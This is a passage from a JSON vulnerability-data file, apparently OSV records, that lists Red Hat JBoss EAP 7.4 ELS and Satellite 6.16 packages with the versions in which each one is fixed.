Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-picketlink-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-24.SP12_redhat_00016.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-picketlink-config","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-24.SP12_redhat_00016.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-picketlink-federation","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-24.SP12_redhat_00016.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-picketlink-idm-api","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-24.SP12_redhat_00016.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-picketlink-idm-impl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-24.SP12_redhat_00016.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-picketlink-idm-simple-schema","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-24.SP12_redhat_00016.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-picketlink-impl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-24.SP12_redhat_00016.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-picketlink-wildfly8","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-30.SP12_redhat_00020.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-undertow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.40-1.SP3_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-wildfly","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:7.4.25-2.GA_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-wildfly-java-jdk11","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:7.4.25-2.GA_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-wildfly-java-jdk17","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:7.4.25-2.GA_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-wildfly-java-jdk8","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:7.4.25-2.GA_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-wildfly-javadocs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:7.4.25-2.GA_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-wildfly-modules","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:7.4.25-2.GA_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-activemq-artemis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-activemq-artemis-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-activemq-artemis-commons","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-activemq-artemis-core-client","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-activemq-artemis-dto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-activemq-artemis-hornetq-protocol","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-activemq-artemis-hqclient-protocol","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-activemq-artemis-jdbc-store","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-activemq-artemis-jms-client","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-activemq-artemis-jms-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-activemq-artemis-journal","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-activemq-artemis-ra","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-activemq-artemis-selector","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-activemq-artemis-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-activemq-artemis-service-extensions","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-activemq-artemis-tools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-glassfish-jsf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.3.14-11.SP11_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-ironjacamar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-ironjacamar-common-api","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-ironjacamar-common-impl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-ironjacamar-common-spi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-ironjacamar-core-api","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-ironjacamar-core-impl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-ironjacamar-deployers-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-ironjacamar-jdbc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-ironjacamar-validator","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-jackson-datatype-jdk8","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-jackson-datatype-jsr310","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-jackson-jaxrs-base","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-jackson-jaxrs-json-provider","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-jackson-jaxrs-providers","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-jackson-module-jaxb-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-jackson-modules-base","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-jackson-modules-java8","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-jboss-remoting","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.0.31-3.SP2_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-jboss-server-migration","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.10.0-46.Final_redhat_00044.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-jboss-server-migration-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.10.0-46.Final_redhat_00044.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-jboss-server-migration-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.10.0-46.Final_redhat_00044.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-buffer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-codec","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-codec-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-codec-haproxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-codec-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-codec-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-codec-memcache","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-codec-mqtt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-codec-redis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-codec-smtp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-codec-socks","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-codec-stomp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-codec-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-handler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-handler-proxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-resolver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-resolver-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-resolver-dns-classes-macos","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-transport","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-transport-classes-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-transport-classes-kqueue","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-transport-native-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-transport-native-epoll-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-transport-native-unix-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-transport-sctp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-picketlink-api","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-24.SP12_redhat_00016.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-picketlink-bindings","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-30.SP12_redhat_00020.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-picketlink-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-24.SP12_redhat_00016.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-picketlink-config","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-24.SP12_redhat_00016.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-picketlink-federation","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-24.SP12_redhat_00016.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-picketlink-idm-api","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-24.SP12_redhat_00016.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-picketlink-idm-impl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-24.SP12_redhat_00016.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-picketlink-idm-simple-schema","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-24.SP12_redhat_00016.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-picketlink-impl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-24.SP12_redhat_00016.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-picketlink-wildfly8","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-30.SP12_redhat_00020.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-undertow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.40-1.SP3_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-wildfly","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:7.4.25-2.GA_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-wildfly-java-jdk11","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:7.4.25-2.GA_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-wildfly-java-jdk17","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:7.4.25-2.GA_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-wildfly-java-jdk8","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:7.4.25-2.GA_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-wildfly-javadocs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:7.4.25-2.GA_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-wildfly-modules","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:7.4.25-2.GA_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"openvox-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.15.2-1.el8sat"}]}],"bundled":7},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"openvox-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.15.2-1.el8sat"}]}],"bundled":7},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el9","package":"openvox-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.15.2-1.el9sat"}]}],"bundled":7},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"openvox-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.15.2-1.el9sat"}]}],"bundled":7},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"python-aiohttp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.3-1.el8pc"}]}],"bundled":7},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"python-aiohttp-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.3-1.el8pc"}]}],"bundled":7},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"python3.11-aiohttp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.3-1.el8pc"}]}],"bundled":7},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"python3.11-aiohttp-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.3-1.el8pc"}]}],"bundled":7},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"python-aiohttp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.3-1.el8pc"}]}],"bundled":7},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"python-aiohttp-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.3-1.el8pc"}]}],"bundled":7},{"source":"osv","ecosystem":"Red 